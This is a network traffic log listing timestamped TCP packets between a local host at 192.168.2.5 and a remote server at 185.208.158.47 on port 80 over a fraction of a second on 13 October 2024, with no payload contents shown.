Oct 13, 2024 01:39:58.560967922 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.561006069 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.561007977 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.561043024 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.561095953 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.561130047 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.561144114 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.561168909 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.561177969 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.561203957 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.561245918 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.561254025 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.561285973 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.561322927 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.561358929 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.561363935 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.561393976 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.561400890 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.561436892 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.561475039 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.561506033 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.561523914 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.561538935 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.561547995 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.561577082 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.561611891 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.561642885 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.561654091 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.561676979 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.561712027 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.561727047 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.561753988 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.561938047 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.561975002 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.562011003 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.562035084 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.562062025 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.562093973 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.562109947 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.562129021 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.562166929 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.562216997 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.562248945 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.562283039 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.562294960 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.562314987 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.562352896 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.562386036 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.562401056 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.562423944 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.562433958 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.562490940 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.562525034 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.562557936 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.562572002 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.562594891 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.562598944 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.562630892 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.562664986 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.562710047 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.562927008 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.562977076 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.563010931 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.563026905 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.563047886 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.563059092 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.563083887 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.563133955 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.563168049 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.563184023 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.563200951 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.563218117 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.563239098 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.563271999 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.563307047 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.563318968 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.563354015 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.616293907 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.616347075 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.616401911 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.616420984 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.616435051 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.616470098 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.616488934 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.616507053 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.616543055 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.616579056 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.616590023 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.616626978 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.638664961 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.638686895 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.638704062 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.638741016 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.638832092 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.638848066 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.638860941 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.638876915 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.638895035 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.638906956 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.645158052 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.645185947 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.645204067 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.645219088 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.645217896 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.645235062 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.645261049 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.645261049 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.645275116 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.645279884 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.645304918 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.645319939 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.645334005 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.645349979 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.645349979 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.645365953 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.645375967 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.645390987 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.645456076 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.645493984 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.645509958 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.645512104 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.645534039 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.645550013 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.645565033 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.645576000 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.645602942 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.645636082 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.645654917 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.645694017 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.645704985 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.645720959 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.645744085 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.650656939 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.650681973 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.650697947 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.650712013 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.650715113 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.650727987 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.650738001 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.650747061 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.650770903 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.650863886 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.650880098 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.650896072 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.650909901 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.650911093 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.650929928 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.650943995 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.650948048 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.650962114 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.650971889 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.651002884 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.651002884 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.651020050 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.651102066 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.651139975 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.651164055 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.651180029 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.651195049 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.651211023 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.651221037 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.651246071 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.651288986 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.651304007 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.651318073 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.651334047 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.651360989 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.651380062 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.651412964 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.651427031 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.651467085 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.651520967 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.651535034 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.651549101 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.651565075 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.651566982 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.651580095 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.651581049 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.651597023 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.651612997 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.651618004 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.651731968 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.651741028 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.651757956 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.651773930 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.651808023 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.651863098 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.651878119 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.651892900 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.651901007 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.651930094 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.652007103 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.652023077 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.652038097 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.652054071 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.652061939 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.652070999 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.652086020 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.652087927 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.652121067 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.652148962 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.652323008 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.652338028 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.652353048 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.652367115 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.652370930 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.652383089 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.652390957 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.652400017 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.652415037 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.652430058 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.652441025 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.652446032 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.652462006 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.652465105 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.652489901 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.656061888 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.656095028 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.656114101 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.656126022 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.656146049 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.656162024 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.656167984 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.656184912 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.656198978 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.656203032 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.656218052 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.656241894 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.656244993 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.656258106 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.656282902 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.656284094 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.656297922 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.656322956 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.656327963 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.656339884 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.656357050 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.656362057 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.656372070 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.656392097 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.656404972 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.656410933 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.656419992 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.656435013 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.656438112 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.656454086 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.656461954 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.656471014 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.656485081 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.656501055 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.656512976 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.656517982 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.656533003 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.656537056 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.656560898 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.703874111 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.707041979 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.707097054 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.707139015 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.707142115 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.707184076 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.707217932 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.707226992 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.707252026 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.707287073 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.707289934 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.707321882 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.707423925 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.729476929 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.729525089 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.729566097 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.729588032 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.729603052 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.729636908 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.729671001 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.729676962 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.729703903 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.729722023 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.729738951 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.729881048 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.735863924 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.735934973 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.735974073 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.736007929 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.736025095 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.736049891 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.736063004 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.736114025 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.736148119 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.736160040 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.736186028 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.736222982 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.736238003 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.736270905 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.736304998 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.736341000 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.736351967 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.736377001 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.736382008 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.736411095 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.736443996 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.736450911 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.736476898 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.736511946 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.736514091 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.736545086 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.736577034 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.736608028 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.736619949 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.736641884 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.736650944 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.736675024 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.736709118 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.736737013 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.736747980 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.736777067 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.741343975 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.741465092 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.741509914 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.741534948 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.741586924 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.741625071 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.741657972 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.741672039 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.741695881 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.741705894 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.741738081 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.741775036 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.741816044 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.741826057 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.741862059 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.741873980 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.741897106 CEST	80	49720	185.208.158.47	192.168.2.5
